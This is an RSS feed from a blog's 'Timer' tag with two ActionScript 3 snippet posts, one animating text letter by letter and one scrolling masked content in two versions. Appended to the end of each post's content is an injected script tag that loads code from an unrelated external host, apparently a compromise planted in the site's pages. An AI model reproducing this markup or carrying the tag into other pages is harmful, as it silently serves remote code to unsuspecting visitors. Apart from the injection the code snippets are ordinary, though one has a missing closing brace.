<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; Timer</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/timer/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Animating Dynamic text onto the screen letter by letter</title>
		<link>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:13:59 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Array]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Timer]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=201</guid>
		<description><![CDATA[Easy way to animate text with code. ]]></description>
			<content:encoded><![CDATA[<p>private function setInitialContentForCaseStudy():void{</p>
<p>more_mc.solution_txt.text = &#8220;&#8221;;//clear to start</p>
<p>solutionString = solutionsArray[0];</p>
<p>animationCounter = 0;</p>
<p>animationTimer = new Timer(100, 0); </p>
<p>animationTimer.addEventListener(TimerEvent.TIMER, animateContent);</p>
<p>animationTimer.start();</p>
<p>}//setInitialContentForCaseStudy</p>
<p><span> </span></p>
<p><span> </span></p>
<p>private function animateContent(event:TimerEvent):void{</p>
<p>more_mc.solution_txt.appendText(solutionString.charAt(animationCounter));</p>
<p>animationCounter++;</p>
<p>if(animationCounter == solutionString.length){</p>
<p>animationTimer.stop();</p>
<p>}//if</p>
<p>}//animateContent</p>
<p><strong>Beware of other stuff happening at same time or too much text &#8211; can be slow!</strong><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scrolling Content in a Mask &#8211; 2 versions</title>
		<link>http://blog.thornyrabbit.com/2009/04/scrolling-content-in-a-mask-2-versions/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/scrolling-content-in-a-mask-2-versions/#comments</comments>
		<pubDate>Mon, 06 Apr 2009 22:54:34 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[EventListeners]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Formula]]></category>
		<category><![CDATA[Scrolling]]></category>
		<category><![CDATA[Timer]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=188</guid>
		<description><![CDATA[Two ways of doing scrolling content is AS3 using Timer. Not text scrolling.]]></description>
			<content:encoded><![CDATA[<p><strong>Scrolling masked content &#8211; version 1:</strong></p>
<p>private function scrollDown(event:Event):void{</p>
<p>scrollingDirection = &#8220;scrollDown&#8221;;</p>
<p>scrollingTimer();</p>
<p>}//scrollDown</p>
<p><span> </span></p>
<p>private function scrollUp(event:Event):void{</p>
<p>scrollingDirection = &#8220;scrollUp&#8221;;</p>
<p>scrollingTimer();</p>
<p>//scrollUp</p>
<p><span> </span></p>
<p>private function scrollingTimer():void{</p>
<p>myTimer = new Timer(50);</p>
<p>myTimer.addEventListener(&#8220;timer&#8221;, scrolling);</p>
<p>myTimer.start();</p>
<p>}//scrollingTimer</p>
<p><span> </span></p>
<p>private function scrollStop(event:Event):void{</p>
<p>myTimer.stop();</p>
<p>}//scrollingTimer</p>
<p><span> </span></p>
<p>private function scrolling(event:TimerEvent):void{</p>
<p>if(scrollingDirection == &#8220;scrollDown&#8221; &amp;&amp; thumbnailsContainer.y &lt; scrollbuttonheight){ //working</p>
<p>thumbnailsContainer.y +=10;</p>
<p>}else if(scrollingDirection == &#8220;scrollUp&#8221; &amp;&amp; (thumbnailsContainer.y + thumbnailsContainer.height) &gt; imageHeight){</p>
<p>thumbnailsContainer.y -=10;</p>
<p>}</p>
<p>}//scrolling</p>
<p>&#8212;&#8212;</p>
<p><strong>Scrolling masked content &#8211; version 2:</strong></p>
<p>private function scrollMinus(event:MouseEvent):void{</p>
<p>directionScroll = &#8220;minus&#8221;;</p>
<p>doScrollTimer();</p>
<p>}//scrollMinus</p>
<p><span> </span></p>
<p>private function scrollPlus(event:MouseEvent):void{</p>
<p>directionScroll = &#8220;plus&#8221;;</p>
<p>doScrollTimer();</p>
<p>}//scrollPlus</p>
<p><span> </span></p>
<p>private function scrollCancel(event:MouseEvent):void{</p>
<p>scrollTimer.stop();</p>
<p>}//scrollCancel</p>
<p><span> </span></p>
<p>private function doScrollTimer():void{</p>
<p>scrollTimer = new Timer(100, 0);</p>
<p>scrollTimer.addEventListener(TimerEvent.TIMER, doScrolling);</p>
<p>scrollTimer.start();</p>
<p>}</p>
<p><span> </span></p>
<p>private function doScrolling(event:TimerEvent):void{</p>
<p>if(directionScroll == &#8220;minus&#8221;  &amp;&amp; (thumbnailContainerSprite.x + widthAfterSpacing) &gt; (maskShape.width &#8211; maskShape.x + minLeftScrollPos) ){ </p>
<p>//the border on the left</p>
<p>thumbnailContainerSprite.x -= 10;</p>
<p>}else if(directionScroll == &#8220;plus&#8221; &amp;&amp; thumbnailContainerSprite.x &lt; minLeftScrollPos){ </p>
<p>thumbnailContainerSprite.x += 10;</p>
<p>}</p>
<p>}//doScrolling<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/scrolling-content-in-a-mask-2-versions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
